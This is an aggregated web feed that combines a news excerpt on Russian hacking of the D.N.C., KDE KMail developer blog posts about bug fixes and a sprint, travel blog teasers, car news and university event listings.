..CrowdStrike’s nicknames for the two Russian hacking groups that the firm found at work inside the D.N.C. network. Cozy Bear — the group also known as the Dukes or A.P.T. 29, for “advanced persistent threat” — may or may not be associated with the F.S.B., the main successor to the Soviet-era K.G.B., but it is widely believed to be a Russian government operation. It made its first appearance in 2014, said Dmitri Alperovitch, CrowdStrike’s co-founder and chief technology officer.

..

Only in March 2016 did Fancy Bear show up — first penetrating the computers of the Democratic Congressional Campaign Committee, and then jumping to the D.N.C., investigators believe. Fancy Bear, sometimes called A.P.T. 28 and believed to be directed by the G.R.U., Russia’s military intelligence agency, is an older outfit, tracked by Western investigators for nearly a decade. It was Fancy Bear that got hold of Mr. Podesta’s email.

..

It was bad enough that Russian hackers had been spying inside the committee’s network for months. Now the public release of documents had turned a conventional espionage operation into something far more menacing: political sabotage, an unpredictable, uncontrollable menace for Democratic campaigns.

..

Julian Assange, the WikiLeaks founder and editor, has resisted the conclusion that his site became a pass-through for Russian hackers working for Mr. Putin’s government or that he was deliberately trying to undermine Mrs. Clinton’s candidacy. But the evidence on both counts appears compelling.

..

Mr. Putin, a student of martial arts, had turned two institutions at the core of American democracy — political campaigns and independent media — to his own ends. The media’s appetite for the hacked material, and its focus on the gossipy content instead of the Russian source, disturbed some of those whose personal emails were being reposted across the web.

..

In late 2014, hackers working for Kim Jong-un, the North’s young and unpredictable leader, had carried out a well-planned attack on Sony Pictures Entertainment intended to stop the Christmastime release of a comedy about a C.I.A. plot to kill Mr. Kim.

In that case, embarrassing emails had also been released. But the real damage was done to Sony’s own systems: More than 70 percent of its computers melted down when a particularly virulent form of malware was released. Within weeks, intelligence agencies traced the attack back to the North and its leadership. Mr. Obama called North Korea out in public, and issued some not-very-effective sanctions. The Chinese even cooperated, briefly cutting off the North’s internet connections.

As the first Situation Room meetings on the Russian hacking began in July, “it was clear that Russia was going to be a much more complicated case,” said one participant. The Russians clearly had a more sophisticated understanding of American politics, and they were masters of “kompromat,” their term for compromising information.

..

..code was put out in the open by the Russians as a warning: Retaliate for the D.N.C., and there are a lot more secrets, from the hackings of the State Department, the White House and the Pentagon, that might be spilled as well. One senior official compared it to the scene in “The Godfather” where the head of a favorite horse is left in a bed, as a warning.

..

As the year draws to a close, it now seems possible that there will be multiple investigations of the Russian hacking — the intelligence review Mr. Obama has ordered completed by Jan. 20, the day he leaves office, and one or more congressional inquiries. They will wrestle with, among other things, Mr. Putin’s motive.

..

Did he seek to mar the brand of American democracy, to forestall anti-Russian activism for both Russians and their neighbors? Or to weaken the next American president, since presumably Mr. Putin had no reason to doubt American forecasts that Mrs. Clinton would win easily? Or was it, as the C.I.A. concluded last month, a deliberate attempt to elect Mr. Trump?

In fact, the Russian hack-and-dox scheme accomplished all three goals.

What seems clear is that Russian hacking, given its success, is not going to stop. Two weeks ago, the German intelligence chief, Bruno Kahl, warned that Russia might target elections in Germany next year. “The perpetrators have an interest to delegitimize the democratic process as such,” Mr. Kahl said. Now, he added, “Europe is in the focus of these attempts of disturbance, and Germany to a particularly great extent.” '

- Eric Lipton, David E. Sanger and Scott Shane, The Perfect Weapon: How Russian Cyberpower Invaded the U.S., December 13, 2016


Context '[Russia] may become a threat to the world. That is the worst thing that could happen to Russia.' - Yegor Gaidar

'..Russian strategy of hybrid influence and destabilization .. German Council on Foreign Relations.'

'German intelligence says Russia is trying to destabilize German society..' - '..war that Moscow is waging against the West..'

'[Putin is doing] anything that can and will expand Russian influence to U.S.S.R.-era levels of power.'


'..Zero tolerance for Russian intrusions .. Estonia .. policy of publicly naming or prosecuting spies..'

'..the Soviet Union was cut off from Western financial markets and was effectively under permanent sanctions..'

          Cakes and Ice Cream!        
Bamenda is really becoming a developed city. You know how I know? A cake and ice cream store opened up in our quartier! The maker of the cakes, Relindis is my new best friend. The first day she was open, she just had a few small cakes in her little glass case and a newly painted [...]
          Les Lions Indomptables        
The Indomitable Lions Traditional dancers at the Lions game Waving the Cameroon flag We have a camera again so now we can share photos again. Studies show that blog posts sans photos are 23% less exciting. I just made that statistic up. A couple weeks ago I was in Yaounde taking the Foreign Service Officers Test. The same weekend, [...]
          Full Circle        
I’m happy to report that Gabe and I are both parasite-free after our mid-service medical exams. After a few weeks vacationing in the decadent land of available cheese and hot showers (Europe) with our amazing friends and family who met us halfway around the world to bring me Junior Mints (among other things), we are [...]
          Tropical Disease Bingo!        
Peace Corps Cameroon Tropical Disease Bingo! We’re in Yaounde this week for Mid-Service Medical, during which they give every volunteer a physical and test our bodily fluids to see if we’ve acquired any fun new tropical diseases. To commemorate the occasion of being in Cameroon for a whole year, I made an official Peace Corps Cameroon [...]
          Service Mini Horse “Teddy” Gets Custom Ride from Friendly Ford        

ROSELLE, Illinois—Equine Dreams, a non-profit therapeutic riding center in Newark, Illinois, is getting a unique customization for its miniature horse transporter vehicle, courtesy of Friendly Ford in Roselle. A Ford Excursion is being modified by the dealership to carry “Teddy,” the group’s star miniature horse. Equine Dreams provides therapeutic horseback riding to both kids and […]

The post Service Mini Horse “Teddy” Gets Custom Ride from Friendly Ford appeared first on Car News in the USA.


          Sanderson Lincoln in Phoenix Receives President’s Award        

Sanderson Lincoln has won the Ford Motor Company’s 2012 President’s Award for customer satisfaction excellence.  This major award recognizes top-performing Lincoln dealerships that achieve the highest levels of customer satisfaction in sales and service in automotive retailing. Since 1998, the President’s Award has been known for recognizing dealerships who achieve the highest satisfaction in sales […]

The post Sanderson Lincoln in Phoenix Receives President’s Award appeared first on Car News in the USA.


          Injustice: Gods Among Us Bursts Its Way onto Android        
One of the biggest console titles to come out this year, Injustice: Gods Among Us, has finally hit the Google Play store after enjoying a ton of success as a free to play title on the iOS App Store. Much like its Apple equivalent, the Android version of Injustice features a collectable card mechanic as […]
          weekly Diigo Post (weekly)        

Posted from Diigo. The rest of my favorite links are here.


          Commentaires sur New York : comment la police a disparu par L’explosion à New York "n’a pas de lien avec le terrorisme …Le Public, journal politique, littéraire et quotidien | Le Public, journal politique, littéraire et quotidien        
[…] de Chelsea à New York. Peu après la déflagration, qui a fait 29 blessés, le maire de la ville, Bill de Blasio, avait évoqué un “acte intentionnel”, assurant néanmoins qu’il n’y avait […]
          Commentaires sur New York : comment la police a disparu par L'explosion à New York "n'a pas de lien avec le terrorisme international" – MediaVor        
[…] la déflagration, qui a fait 29 blessés, dont un grave, le maire de la ville, Bill de Blasio, avait évoqué un « acte intentionnel », assurant […]
          Commentaires sur New York : comment la police a disparu par New York: une explosion "intentionnelle" fait 29 blessés, dont un grave | femininisrael.com        
[…] Manhattan, a fait 29 blessés, dont un grave, selon les pompiers de New York. Le maire de la ville, Bill de Blasio, a évoqué un « acte intentionnel ». « Il n’y a aucune […]
          Three days in Berlin (or improving the pim user experience)        

KDE Project:

Last weekend I've met with some of our old timer KDEPIM developers and some of the newer ones who are interested in KDEPIM or related technologies in the KDAB offices in Berlin.
Being a KDAB employee for a few years already (wow, time is passing quickly), the place was familiar, the people looked familiar. The foosball table was slightly familiar, although some players changed their dresses in order to spread confusion inside the visitor's heads. That is the only reason we've lost against locals with 5-0, 5-0.
Suprisingly enough, the table wasn't used that much. Why? Because people were busy either working and talking. What they talked about I don't know too much, as I focused on some issues I planned to fix, but others can testify that Volker did not sit too much in front of his computers, but was dragged from one place to another for various discussions.
Most of us started on Friday around noon. I won't tell too much about what others did, that is mostly their problem. Especially if they were on the other side of the room and I didn't saw their screens, I can't tell if they worked at all or not. They looked like they did though. ;) I can share some things about what some sitting nearby did. See later.
As recently I became the de-facto maintainer and bugfixer for mail filters, I worked mostly on them. Unfortunately the first attempt to fix a bug failed: a bug that bothers me, although it is not the most reported one. It is about mails not being filtered for a while after a resume from hibernation. It is hard to reproduce, and although I run into it, I couldn't reproduce reliably enough and in a way I can debug it. After fighting with it and realising it won't work, I gave up. See you next time.
Meantime we had some excellent food in an Indian restaurant, then when finally everybody arrived (almost everybody to be honest, plus even some more from KDAB who didn't sign up, but show up there), we were ready to start with presenting the kdepim and Akonadi architecture. Old time pimsters Volker Krause, Kevin Krammer and Tobias Koenig helped me with it, and sometimes saved me, as my knowledge in some area proved to be superficial. We ended up with a pretty impressive drawing on the whiteboard:
Hopefully for those being on site it was understandable.

Time passed, so we went out for dinner to a Greek restaurant at the corner. Nice place, third time being there, good food (seems Berlin has only good eating places). We even saw how Germany won over Ireland. Too bad Steveire (Stephen Kelly) was not there... We continued with some more talks and hacking, then everybody went to their sleeping places.
Some left earlier, some later waiting for remote developers to show up and discuss the patches (he didn't show up).

Day 2
Next day started around 9 o'clock for some. Later for others. I continued with the filter debugging and fixing. I looked at the bugreports and tried to come up with some bugs that are both would help the users and myself. I'm selfish, I want to fix the bugs I run into. ;) One problem that bothered me for a long time is that email content from online IMAP is downloaded even if no filter for IMAP requires it (but a filter for e.g POP3 needs the full content). Now this is fixed and those who use online imap could notice a great speedup in mail syncing (depending on their filter setup). Another often reported issue was duplicating the mails, especially after spam filtering. You've ended up with a mail in the spam folder and a mail in the original place. This could be combined with a conflict dialog shown up as well for that mail. This problem actually revealed a not-well handled case down inside the Akonadi stack that was created by a reordering of filter commands in the filtering code. For those who want technical details: if there was a move action (like "move mail to spam folder") followed by a modify action (like "mark as read"), the filter reordered this to "mark as read" followed by a move. Unfortunately this exposed two problems, (mostly, but not only) IMAP specific: on IMAP you can't modify a mail, instead you create a new one and delete the old. What happened here is that a filter changed the mail (run through bogofilter/spamassasin), then the "mark as read" action was executed, which uploaded the changes, including the changed mail to the IMAP server. This caused a new ID for the item on the IMAP server. The mail with the old ID was deleted. Then the filter agent performed a move, but he had only the *old* ID, before the modifications. The move - if performed between two different resources, like IMAP and local maildir - is technically a copy followed by a delete. The copy worked fine, but the delete didn't. It tried to delete the old mail again (which was gone), not the modified version. That's how you ended up with a duplicate.
The current solution is to reorder the filtering pipeline, so the move is performed before the flag modifications. The extra benefit is that the filtered message is not uploaded again just to be deleted the next second. Speedup, less network traffic, better user experience. This doesn't fix the main problem with Akonadi, but it is an acceptable workaround. The reordering is so far only in the master branch (KDE 4.10), but the relevant code will be backported to the 4.9 branch, so it will be in 4.9.3.
And speaking of conflicts, that was the next hot topic, and one of the often reported bugs. It was mostly caused by conflicting flag changes (read/spam/important/etc), either caused by KMail itself plus the filtering or just KMail. After some discussion we agreed, that reporting conflicts on flag changes doesn't make sense, so we should not bother the user. It is not data loss, and in worst case some flag is reset. In normal case nothing wrong happens, as Akonadi is able to merge two changes in the flags (or so claims Volker).
I have to admit that this fix was not completed at the sprint, I finished it today, as I noticed more code in KDEPIM that didn't disable conflict check on flag changes.
While doing the changes, I did quite some refactoring, cleaning up the code as much as I could do for the parts I touched. The code was originally deep inside KMail (as most of other code), got extracted from it for 4.8.0, and now we are at the stage that we can make the extracted code more cleaner, we can remove some things that doesn't make sense anymore now that the filtering is not inside KMail.
While reading the bug reports, I also run into one indicating that mails arriving to an MBOX account (like /var/spool/mail/username) are not filtered automatically. Sounds like an easy bug to fix and so was it. Now they are filtered.
Finally another annoying issue was fixed: there was no indication that filtering is ongoing. Now when this happens, you can see in the KMail's progress bar.
The net result of the above: faster filtering, less annoying and useless error dialogs for the users. And according to bugzilla, 31 bugs less (some were duplicates though).

Nepomuk...one of the things that, well, so far I was always recommending for users to turn off. Slight detour here: what is Nepomuk and its relation to KMail? Nepomuk helps you to find data. It indexes all kind of data and with some queries you can find e.g every file where my name is mentioned, all email addresses from any file, etc. There is a process that goes through the akonadi data (emails, calendars, etc) and "feeds" to it for Nepomuk to be indexed. Then there are queries and code in KMail accessing Nepomuk: getting email addresses for composer's autocompletion, searching inside mail bodies, tagging your emails with custom tags, etc.
Unfortunately there are problems around it. One is that some queries ae processed quite slowly, that in turn slows down KMail, leading to poor user experience. E.g switching between mails, sending mails, etc. is slow. Or startup is slow or even blocked. I tried to fix the last part as I just run into it, but as this was my very first Nepomuk related patch, I'm not sure 100% succeeded. We found a problem with the Nepomuk API itself, and I informed Vishesh, the Nepomuk developer about it (even if I used non-blocking calls against Nepomuk, one call is blocking without question). He suggested something I might try later, although I'd be more happier if somebody with real Nepomuk knowledge could give a review of the pim Nepomuk usage.
Then there is the Akonadi feeder, that gives the data to Nepomuk. Something is not perfect there and the indexing causes a serious slowdown, where either itself or Nepomuk (actually its storage backend, virtuoso) starts to use the CPU *a lot*. This is the main reason I recommend to users to disable Nepomuk so far. We had Christian Mollekopf the author of the feeder in the sprint, and he worked on some optimizations. Hopefully this will improve the situation. Meantime we (and I) tried to convince Vishesh to use KMail, so he can see himself the problems our users face.

As a break we had another presentation, this time about KMail itself, what components make up KMail, how they are distributed. As far as I saw, this was less interesting to the audience, they rather looked at their computers and hacked on something. Luckily our KMail maintainer, Laurent Montel, is super active, but I wouldn't mind more contributors. Too bad he wasn't at the sprint.

We had a lunch at a nearby place, nothing extra, but the food was (again) good.

What did other do? Let's see what I can remember... Sune dreamed about crypto stuff and composite jobs. He worked on making some cryptographic code asynchronous and started to get faimiliar with kdepim code. I'd not say he picked up the easiest job.
Volker run around all the time, discussed various things like "spanish sync" with Alex Fiestas (see here), database backends with Martin, change recorder with David Faure (who remotely joined the meeting and got lost inside the change recorder code ... he has the solution now in his head, so be patient, we will end up with a better implementation for it that again speeds up Akonadi), job pipelines with me, and who knows what with others, as for a long time he just disappeared with a bunch of developers. They actually ended up in the lobby discussing "stuff". Milian Wolf, who is not (or not yet?) a KDEPIM developer, but mainly a KDevelop one, joined us and used massif to track down some ugly memory usage in KMail. And he did a good job in it. Previously KMail used more and more memory as you navigated between large folders (Alex mentioned some 2GB for him), while now it levels up at one point and doesn't increase. He might blog himself about, as he has also some nice graphs.
Then there were two guys from KDAB, who are old time pim developers (quiz: find their names in this blog), but they cooked something else, not related to KDEPIM, not related concretely to KDE, but to a lower level: to Qt. It is an amazingly cool stuff, but I don't want to give more details. Expect it to be presented a the Qt Developer Days, either in a talk or at the KDAB booth. Don't worry, I'm pretty sure it will be freely available what they did and KDE can enjoy it in the future.
I'm sorry that I don't remember what the rest did. In general I know that Martin Klapetek worked on the social network resources, Mark Gaiser, who recently started to work on KDEPIM stuff eagerly listened to our presentations and worked on a QML calendar application, Alex kept reporting bugs and discussed improvements with Volker, while John Layt, the "timezone KDE guy" worked on plasma calendar related issues.
As a KDE person Chani also joined us for a while, we quickly nominated her as the QML and Plasma person, so all questions related to them were immediately redirected to Chani. Jos Poortvilet was also supposed to join for some talks, but he could show up only on Sunday for personal reasons.
At the end of the day everybody was so busy, so instead of going out for eating, we just ordered some pizza. And most of us stood in the office well past midnight.

Day 3
Well, the above partially happened on Sunday. It was a shorter day for me, due to the late night standup before, and that I had to go to the airport after lunch. A lunch that wasn't exactly as planned. We went out for a Doner Kebab place that is supposed to be the best one in Berlin. It is just a small kiosk on the sidewalk in a street, but man, there was a big queue for it. On a Sunday! Locals says it is worse on weekdays. Even after almost an hour, we still had 10 persons in front of us, my departure time was approaching, so I gave up and instead bought some (quite good) chinese fast-food from a nearby place, then rushed to the airport.
A long journey awaited me with a 3 hour stopover in Munich, but luckily I had a power supply there and even some network (they offer 30 minutes/day/phone number), so I could continue on the work I started at the sprint. After flying and driving another 2.5 hours, I arrived late (or rather early) morning next day back home, and after sleept until around 10. Then I started to work again for KDAB, a work that is just as enjoyable as working for KDE. After all, the two communities has a serious overlap. ;)
That's from the sprint. If you'll be at the Qt Developer Days Europe, we might meet there. I'm looking forward for a good conference.


          The story of some bugfixes        

KDE Project:

This is the story of how bugfixes can happen. For each bug there is a bug reporter. It doesn't really matter if it is another developer or a non-developer user, as in the end it is just a user. Or does it? Let's see.

The first bug I fixed not so long ago was a line on the chat asking "what's ctrl+shift+l supposed to do in kmail?" from Albert (tsdgeos). Sounded like user support, but turned out that the reason he asked me was that pressing this combination crashed KMail. Of course, I tried and could reproduce it. It was related to Favorite Folders and as nor the reporter, nor I had such folders configured, it was rather straightforward where the problem is. Half an hour ago the bugfix was committed, everybody is happy.

The second was more complicated. There was a long standing report from our KDE expert David Faure that resulted in losing the mail content on move. It wasn't the first time I looked at the code to find the problem, without success. We couldn't even reproduce the bug. Then suddenly a message came on IRC: he could reproduce it again and found a pattern how it happens: it happens if the source mail account (resource) is in offline mode, meaning KMail *might* not have access to the whole mails, only to the cached parts (the mail header). Having this information finding the bug was relatively easy and next day David has the patch. But he wasn't happy: now he got an ugly message box with an error that doesn't mean too much, an error that doesn't tell what is the problem and what could be the solution. So I looked up how this could be fixed. The solution wasn't straightforward, involved changing several pim related components, including adding a new DBUS method that is used to communicated between different Akonadi part, but in the end I had it...only to realize that although I get a nice error now when copying mails, I can't read my mails. Because it gives a DBUS related error. I've added a method returning a string, but from the error it said that it was expecting a string, but got a boolean. Confusing.
Looked at the code, looked again, tried different things: no go. I told to David (knowing that he is an extermly good developer), that here is the code, here is the error, I have no idea what to do.
He looked at, and all seemed fine. It was late, we both called it a night and went to sleep. Of course the problem bothered me, so next day I wanted to give it a go. Guess what, David was also online (this was Saturday), he was also interested in the problem. :) To make the story short, he found the issue: the problem was a setDelayedReply( true ); call I overlooked. That caused basically QDBus to ignore our return value, that must be sent later (and the code sent a boolean there). David did a refactoring, I found a corner case, we both tested, all was fine. After a few final touches, like making the string translatable the patch was ready for review. As David said, it was a nice teamwork.

The last one was the same day at evening: a complaint that KMail cannot move/delete folders from an IMAP inbox. Weird bug, as most of us use IMAP, so this should have been noticed before. I asked for details, I asked for different logs, to try different scenarios. The reporter followed everything I told promptly, and the surroundings of the bug started to take shape. He had an IMAP server without support for ACL (access rights). In that case we should assume everything is fully accessible. And so was everything for him, but the top-level inbox. Having that information, by reading the code I found the faulty line - a line that was weird, and unneeded. The line was introduced because of a bugfix, so I looked up the bug only to find users complained it is still not fixed. No wonder, as the fix was not doing anything about the original problem, but unfortunately created other problems. I have to admit that the API involved is easy to be used in a wrong way, but hard to fix now. For those interested (and to avoid such API), here is the problem:

// Returns the rights the user has on the collection.
Collection::Rights Collection::rights() const
{
CollectionRightsAttribute *attr = attribute();
if ( attr ) {
return attr->rights();
} else {
return AllRights;
}
}


// Sets the @p rights the user has on the collection.
void Collection::setRights( Rights rights )
{
CollectionRightsAttribute *attr = attribute( AddIfMissing );
attr->setRights( rights );
}

And the problematic commit looked like this:

Collection root;
root.setRights( Akonadi::Collection::CanCreateCollection );

You see, by default, a Collection object doesn't have any rights set. If Collection::rights() is called it will return AllRights. What happens after the above setRights() call? The Collection will have now right attributes (CanCreateCollection), so a further Collection::rights() returns that attribute. But *only* that one. Certainly not the behavior one would expect. We can debate that the plural form (setRightS) suggests that, but I still find bad API.
Back to the reporter, luckily the problem could be fixed with the developer tool called "akonadiconsole", so he was happy. Other users will get the fix in the next release.

From the three reporters two were KDE developers. One not having too much knowledge about the PIM part, the other having some knowledge, as he is the one running in the most weird PIM Issues, and we just tell to him to fix his own bugs, while the third was somebody who I never met before, so I assume he is a regular user.

What helped in all cases was communication: giving valuable information (like how to reproduce, what is your configuration, etc) and carefully following the instructions the developer makes. Especially if the developer cannot reproduce it, the only real chance to fix it is that the user acts as the eyes and hands of the developer. If I tell to my hand to type "foo", but it types "bar", nothing good will result in it, as I'd expecet that "foo" was typed and act further accordingly.
So bug reporters, please try to gather as much information from your side as possible when creating a report and always follow the requests a developer makes.

You should not draw a wrong conclusion from the above: that reporting on *development channels* on IRC helps and you should always come there with your bugs. IRC is great for instant communication. It is very bad though as you might not find the right person there when you report.
Use the bugtracker. Wait patiently for feedback (e.g. I work on KDE only from time to time and many others do the same). It is ok to ask about certain bug on IRC, but don't forget to report it. It is also ok, once the developer responds and starts to work on the bug to contact him on IRC (if you know its nick), as communication is faster on it.
Just saying something doesn't work on IRC will also not do any good, unless you are prepared to help track down the issue. And then you will suddenly become part of the team. It is not that hard to be a KDE contributor, no? :)

To answer my first question: does it matter if the reporter is a developer or a user? In certain aspect it does, I couldn't fix the bug (at least not that easy) without David. It might be slightly easier or faster to get out information from a developer. But if the communication is good, it doesn't matter too much.


          KMail - making it more usable        

KDE Project:

KMail is one of the most important applications inside KDE, I think hardly can argue anybody about it. Everybody is using email, and even if some think that a webmail solution can be just as good, most of us still do what we did 10-15 years ago: download mail to our computer/phone/tablet and carry that around.
And for that we need a mail application.
It is not news that KMail got just too big and not flexible enough in the KDE 3.x days. Somehow it was ported to KDE 4, but this was a crude port, without much improvements in its design. A new generic PIM backend was growing up meantime, and with some corporate support from KDAB, a new generation of KMail, KOrganizer and other PIM application started to take shape.
From those I can tell about KMail, as I was more involved into it. As we wanted to have a mobile, touchscreen version as well, the work of porting KMail to Akonadi was done together with breaking KMail into smaller pieces, more or less standalone libraries to reuse as much code as possible. Time, manpower and other reasons limited what we could do, so this was a part success. We created and improves some generic usage libraries (KIMAP, KMime), some internal libraries that are nice, some that are not that nice, and in the end we had something that could have been a good foundation for KMail 2 series.
I started to use KMail2 at that time, and in the beginning it was a fustrating experience. I can't count how many times I deleted and created again the accounts, the Akonadi database. But after a while I realized that I don't have to do anymore. KMail2 was still not released to the public, but got better and better. Unfortunately only slowly, as even less people worked on it, and only in their free time. It had bugs, some more annoying, some less annoying, but was usable enough to not force me to go back to KMail1.
Then the PIM community took a deep breath - just like the KDE community did with KDE 4.0 - and finally released KMail2 officially.
Funny or not, around this time I started to have problems with it. A migration of my second computer failed horribly. A cleanup of the Akonadi database and changing from the mixed maildir to maildir format was also painful. I blamed the developers a lot (including myself :) ). Then things started to move on and KMail got a new maintainer, who is very active (hi Laurent!). And we organized a developer sprint to stabilize KMail.
The sprint took place last weekend in KDAB's Berlin office and was sponsored by the company. Everybody who knows the KDAB office, knows about the famous foosball table. Do I have to said that in the weekend we played only once? Yes, people were coding intensively, Volker had to raise the priority of the "FOOD" topic often.
Issues were listed on the whiteboard. And everybody picked up what he was interested to do. Work was done on the migrator, the mixed maildir agent, the maildir resource, on the akonadi server, performance bottlenecks were identified and a new filtering resource was created, fixing the most hated KDE bug (should be closed as soon as Tobias Koenig is happy with his work).
My choice in the sprint was mostly maildir related work, I tried to make it more reliable, more standard compliant and somewhat faster than before. And the biggest win is that I fixed most issues that bothered me with KMail's maildir handling. Yes, I was selfish.
The sprint did not end in Berlin, for me it continued on the flight back home (that thanks to the weather and Lufthansa was almost a day longer than expected). And somewhat still continues as of now, although daily work reduces the time I can allocate to KDE.
I can say that I'm happy again with KMail and Akonadi starts to gets less and less in the way of me and the users. The biggest success will be when users will not know that there is a nice server helping them, called Akonadi.
For those eager to try out the changes, unfortunately most of them are in the master branch only (the upcoming KDE 4.8). We will try to port as much as possible into the KDE 4.7 bugfix releases, but as some changes required library additions, this won't be always possible.


          The plus one post        

KDE Project:

Recently, let's say in the past year, I saw a growing number of email messages on the KDE lists with the following content only:

+1

This is getting annoying for me. I get a nice notification from KMail about the messages arrived, and if I saw that it came to some folder that I'm interested in, I look at the message. And many times it contains nothing, but a +1. I can understand the urge to express support for an idea, a person, but please, think about it twice before doing so. These days it is not about abusing my / the worlds bandwidth, as we use more to share "stuff", it is about abusing the time of the readers.

Thanks for reading.

PS: Although I never lived in the US and missed the early times of internet chats, I still remember the AOL! jargon.


          KDE4: is it usable for you?        

KDE Project:

I know it is not so nice to complain and bash a project when you don't contribute to it. And yes until now, I did not contributed to the KDE4 desktop as I wished. I compiled it regularly and used the libraries, but did not run the KDE4 desktop or KDE4 version of the applications except KDevelop and Quanta.
But as 4.0 is approaching, I decided that it is time to test, use, report bugs and even make fixes to it. I use KDE since a long time (~7 years), I think I always compiled from source, and for several years I compiled from CVS/Subversion regularly. I wasn't afraid to use the alpha/beta/whatever version as my daily desktop.
But with KDE4 somehow I feel lost. I tried a few days ago to start a KDE4 session. After getting through some issues that the libraries were not found unless LD_LIBRARY_PATH is modified (and knotify even with this setup has problem to find libkaudiodevicelist.so), I finally got it running. Well, it looks nice at first. So what to do there? I can start the KDE4 applications from the Run Command dialogbox. This dialog is a nice improvement over the old version, especially the autocompletion is handy.
In my version the menu was still missing, which isn't nice, but I don't care that much. What I care more is the speed, or to be exact, the lack of it. I blamed first the debug version of the libraries and the desktop, so I did a complete fresh build without debug information (a sidenote: my KDE3 is compiled WITH debug info and works fast enough). Sadly, it isn't faster. An example: right click on the desktop, and until the menu is shown, 3-4 seconds can pass. During this time Plasma and XOrg are heavily using the CPU. Moving around a window makes again ~58% CPU load (by kwin). Moving the mouse over the taskbar gives me 60% CPU usage by plasma AND 50% CPU usage by XOrg.
This slowness if everywhere on the desktop. I click somewhere and it takes some seconds until it reacts. The "natural" reaction is to click again, which makes things worse. What is the reason of this slowness, I don't know. But I am worried about it, because I have a fairy decent computer here, everything is fast except my video card: AMD Opteron 180 Dual Core (2.4Ghz), 2GB Dual Channel RAM, 7200RPM SATA HDD, Nvidia FX5500 card (with the binary drivers). The card isn't the state of the art one, but should be more than enough for desktop usage. I tried compiz with it, and it works OK. I can see the reaction lag with compiz as well (compared to the KDE3 version of kwin, which is lightning fast), but it is still quite usable.
I tried to remove kwin and use another window manager. This made at least the window operations faster, but the desktop was still slow.
That's about the speed.
Now about the usability side: I have no idea if what I tried is implemented at all or not, if there are plans to do them for the final release or not, but certainly I can say that as it is now, it is close to be unusable. There is the panel on the bottom with the taskbar and the clock. The taskbar let's say works, but I couldn't figure out what really a left/right click on an empty area of the taskbar does. It minimizes/restores the running applications, but I don't see the logic. I also don't know how to move around the taskbar on the panel. I don't know how to move the panel. It is possible to add new applets to the desktop, but I don't know how to move those applets to a panel. Moving them around on the screen is terribly slow.
There is also an Unknown Applet on my panel which "could not be created". I have no idea what it is or how it appeared there.
I also saw some bugs, like black boxes on top of windows appearing when you move a window over an applet, but this kind of issues are just simple bugs, acceptable at this stage of the development.
Unfortunately this experience can have only one outcome: I cannot use KDE4 as my daily desktop. Not even as a testing desktop.
So the solution is to test only the libraries and the applications. Luckily it is pretty easy to have a setup where you can run KDE4 applications under KDE3. Well, the first and one of the most important applications is Konqueror. I'm writing this blog from Konqueror4. Altough I feel a slowness here as well (when navigating through the menus, for example), this isn't a big issue, it is usable. I saw some rendering bugs, an ugly infinite loop when loading a certain page, but I saw similar issues with the old Konqui as well.
There is a problem with the editor area where I write the blog text (home bring to the beginning of the text, not the beginning of the line, mouse scrolling does not work) and the closing buttons on the tabs do not work, but again, in beta stage these are "normal" bugs.
For the applications the solution is to report the bugs or try to fix them. :) I will happily report them.

My conclusion: as it is now, the KDE4 desktop should not be released. Luckily we have some months left until the final release, so who knows, it might really be usable. I have more confidence in the base libraries and the applications. I think there only some polish is needed, in general they should be usable, but as I said, I didn't test many of them either. But what I started up for a quick test seemed to work.


          Desiderata - 8,30€         
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Desiderata. A wonderful peice originally written by Max Ehrmann in 1927 and explains how we should perhaps look at the beauty and meaning of life and about things we desire. Available here as an A4 size (297mm x 210mm) print with new gold ink highlights. Printed on Hahnemühle William Turner 310gsm Fine Art paper.


          Kommentar zu Einen Award für diese Tasche von Sebastian Sturm! von Beatrice Schuberth        
Hallo Maja, melde dich auf b.schuberth-coaching@web.de Was gibt es? Ich freue mich über deine Email. Bin bei Facebook oder Whats App. Stephan hat meine Nummer.
          Kommentar zu Nächster Karriere-Stepp: Dem Gefühl vertrauen, einen Bogen bauen von Beatrice Schuberth        
Ich bin Ihrer Meinung. Es freut mich, das Herz dieser beiden Menschen getroffen zu haben.
          Kommentar zu Nächster Karriere-Stepp: Dem Gefühl vertrauen, einen Bogen bauen von Beatrice Schuberth        
Danke
          Commentaires sur Le Secret Pour Ne Plus JAMAIS Pester Sur Vos Erreurs Et Échecs Et Comment Mieux Apprécier Votre Corps (Partie 1/2) par ATTORNEY FREE CONSULTATION        
I hope that someday I can learn how to put my thoughts into words like you. I am a novice writer just starting to learn how to format and write. I really admire your work.
          A lathe or mill power feed using an electric drill by Joe Katona        

t the 2011 NAMES show in Detroit, Sherline dealer Joe Katona of JK Woodcraft came by the booth to show us a device he came up with to allow the use of a battery powered drill or electric screwdriver to turn the handwheel to move the long axis of the lathe when moving over long […]

The post A lathe or mill power feed using an electric drill by Joe Katona appeared first on Millhill Supplies Ltd..


          Ellie Goulding – Hanging On (Svyable + PRFFTT Bootleg)        
So you know when you find that epic track with a silky smooth intro, totally diggable build, bomb chorus, and then just pure awesomeness through the rest of the piece? Look no further than this symphonic remix of Ellie Goulding’s recent smash “Hanging On” by Svyable and PRFFTT. Not only are the instrumental works on this track beautifully mastered, but they fuse in Ellie’s angelic voice to perfection. Couple amazing drops that just pick your head up for you so you can start bobbing. Also some womps for your Wednesday. Just download the damn thing already. Check out PRFFTT’s work […]
          Candlelight Sustainability Dinner        

In celebration of Campus Sustainability Day, join the Office of Sustainability for dinner in the Piazza dining center. Information about campus sustanability, food waste and electricity consumption will be available. Students and staff with meal plans may enter using a normal meal, those without are asked to pay the standard fee.

Special Events
Location: 
Piazza dining center
Wednesday, October 26, 2016 - 5:00 pm
Enter Your Email: 
Name: 
Eric O'Brien
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          UNI CARES (UNI Creating A Responsible Environment Showcase)        

UNI CARES (UNI Creating A Responsible Environment Showcase) is a campuswide event to showcase diverse projects research, curricula and initiatives that contribute to building a responsible environment. The goal is to promote activities that address the environment and sustainability, and provide opportunities for future collaboration and active participation. This event will follow the provost's common read of  "The Invention of Nature: Alexander Von Humboldt's New World."  

Faculty, staff, centers, departments/programs and advisers of student groups are invited to share how they are creating a responsible environment. The participation form can be completed at: http://goo.gl/forms/WpP4DAijm0. The deadline for submission is Monday, Feb. 8.

Conferences, Workshops, & Camps
Special Events
Location: 
Old Central Ballroom, Maucker Union
Wednesday, March 30, 2016 -
12:00 pm to 3:00 pm
Enter Your Email: 
Name: 
Elizabeth Sutton
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          UNI Plastic Bag Exchange        

The Office of Sustainability and Rod Library will host a plastic bag exchange in the east lobby of Rod Library.  Faculty, staff and students can exchange five or more plastic bags for a UNI reusable bag. Limit of one reusable bag per person. All plastic bags turned in will be recycled.

Special Events
Location: 
